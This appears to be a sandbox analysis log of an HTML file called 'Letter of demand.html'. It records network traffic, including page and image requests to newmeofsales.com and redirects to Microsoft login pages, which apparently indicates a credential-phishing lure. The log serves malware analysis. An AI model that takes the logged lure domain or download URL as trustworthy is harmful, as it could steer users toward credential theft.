vidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No <meta name="author".. found

Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html	HTTP Parser: No <meta name="copyright".. found
Source: file:///C:/Users/user/Downloads/Letter%20of%20demand.html#	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790991687892271.MDFmZWVlOWUtNjdkNS00ZTA0LWEyMTktZDBmN2IzNDBjNjBkYjMzMWZlOWItOTM3Yy00MjNmLThkOTgtM2M0ODc3ZTU5MWM3&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwEmBS5HiStCXhPFr0aEpoXdOIxGhET3uQWmQCTu4gmsADL52ItANQ3__iw-nJ8_ruzIOvbZ4GYmBXQ0SF5Hdwfx8PyQX0F6TgPakTVmtV9_v2vUehwkdjWnDwJTxDca2S3mcy8hEboF5i_bL8vheGFDW9_JVGB3_ukyrnroW9M8mXa6DWu3VPbiA740pJJunKomgi0UHl_foXy9U8enPtIen2WOaEmeD4WJDIc-nWH7dEO47vipOa3x21A0pvidOyy5gaZtd_qNN-z2JT-Li57tg9e-LiCgJ_sqPndIypyts0kJSc-bxr8CcoXZ-Ar0cTCgVCvbZqublGINTZHoPc9kOJp8Z6gOCe1q-EJMM&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 142.251.40.132:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.74:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.74:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49750 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.135.4:443 -> 192.168.2.4:49753 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49754 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49757 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.55.243.74:443 -> 192.168.2.4:49758 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.9:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.251.41.4:443 -> 192.168.2.4:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.157.0:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.157.0:443 -> 192.168.2.4:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.209.72.31:443 -> 192.168.2.4:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49807 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49810 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.6.156:443 -> 192.168.2.4:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.106.55.197:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.190.152.22:443 -> 192.168.2.4:49816 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.office.com to https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3a%2f%2fwww.office.com%2fv2%2fofficehome.all&response_mode=form_post&nonce=638790990902337038.yzfhntc1yzqtnwfkys00yju0ltkxmtqtmwqwyzy3nwrjndqwzmi3ntqxotytotyzms00yzfkltk0yzetoge3y2eymti1nzux&ui_locales=en-us&mkt=en-us&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4qnybpqynpqcy0xgdwkvopnvado4dsnt2ur-6awgw-rpvmntdqcxskstqv-0appttabvlakpl8p6igdqxdzhr_k530ht038xyyfz-mujqwxrq82amsov2-otj5a9pka2posme-bflhgk7lpthll3eq0ubacmiegfo0wbjj5iiqaeyylxrytfihv2cie9rfevbyc1bvkr6u7hjhj9hwzssbtcfntjf6akywqjz93ng5oxwfhi3k_0ibahbmhgiqj8tfrwksw40sgeg-mslhag80jfse8iawwi7vd0lxku8e8d3ccsap1ec3kanjvpl8zz9f7h0eqfjl69mxjbgc6cequ1k83p112n5b7otcoko&x-client-sku=id_net8_0&x-client-ver=8.5.0.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: www.office.com to https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3a%2f%2fwww.office.com%2flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3a%2f%2fwww.office.com%2fv2%2fofficehome.all&response_mode=form_post&nonce=638790991687892271.mdfmzwvlowutnjdkns00zta0lweymtktzdbmn2izndbjnjbkyjmzmwzlowitotm3yy00mjnmlthkotgtm2m0odc3ztu5mwm3&ui_locales=en-us&mkt=en-us&msafed=0&client-request-id=7582b24e-aa69-4239-a7c1-482580da4916&state=g7uwembs5histcxhpfr0aepoxdoixghet3uqwmqctu4gmsadl52itanq3__iw-nj8_ruziovbz4gymbxq0sf5hdwfx8pyqx0f6tgpaktvmtv9_v2vuehwkdjwndwjtxdca2s3mcy8hebof5i_bl8vhegfdw9_jvgb3_ukyrnrow9m8mxa6dwu3vpbia740pjjunkomgi0uhl_foxy9u8enptien2woaemed4wjdic-nwh7deo47vipoa3x21a0pvidoyy5gaztd_qnn-z2jt-li57tg9e-licgj_sqpndiypyts0kjsc-bxr8ccoxz-ar0ctcgvcvbzqublgintzhopc9kojp8z6goce1q-ejmm&x-client-sku=id_net8_0&x-client-ver=8.5.0.0

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.222
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.176.195
Source: unknown	TCP traffic detected without corresponding DNS query: 23.33.40.139
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.51.113
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 131.253.33.254
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /UC48PXNB6W73ISX1PK71FS0DPANMIH4LQ45SLW8M/r/5HNAJDHGY5IZWPP9MCCDAS/5877514.html?response-content-disposition=attachment%3Bfilename%3D%22Letter%2520of%2520demand.html%22&e=1746316800&s2=838245666bc16fd83e0d8def624300a64e3df0609db970c9443011fc72e137c831b27b9c938762f1ef0ea039a2ee0be8e6ac0583670dddb9609dfa7abd5a509c HTTP/1.1Host: res2.showcaseworkshop.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /others.htm HTTP/1.1Host: newmeofsales.comConnection: keep-aliveCache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /register.jpg HTTP/1.1Host: newmeofsales.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://newmeofsales.com/others.htmAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /?auth=2&home=1 HTTP/1.1Host: www.office.comConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://newmeofsales.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: newmeofsales.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://newmeofsales.com/others.htmAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /organizations/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638790990902337038.YzFhNTc1YzQtNWFkYS00YjU0LTkxMTQtMWQwYzY3NWRjNDQwZmI3NTQxOTYtOTYzMS00YzFkLTk0YzEtOGE3Y2EyMTI1NzUx&ui_locales=en-US&mkt=en-US&msafed=0&client-request-id=84919c82-e9f2-4954-a709-cb1ec83d8302&state=q-4QNybpqYNPqCy0XgDwkVOpNvado4DsNt2uR-6aWgW-rPVmNtdqcxSkstQV-0aPpTtaBVlAkpL8p6IgdQXdzHR_K530hT038XYYfZ-MujQWXrq82AMSOV2-OtJ5a9pka2Posme-bfLhGK7LPtHlL3EQ0UbaCMiEgfO0WbJJ5IIqAEyyLXryTFIhV2ciE9RfeVByC1BVKr6u7HjHj9hWZssbTCfnTjf6akYWqjZ93NG5oxwfhI3K_0IbahBMHgiQj8tFrWkSw40SGEG-MsLHAg80jfsE8iawwI7Vd0lxKu8E8d3cCsAP1ec3kaNJVpL8ZZ9F7H0EQFJL69mXJBGc6CEqu1K83p112n5B7OTcoko&x-client-SKU=ID_NET8_0&x-client-ver=8.5.0.0 HTTP/1.1Host: login.microsoftonline.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://newmeofsales.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_9810YxmrLqOR1rQ4anyNMg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveOrigin: https://login.microsoftonline.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://login.microsoftonline.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
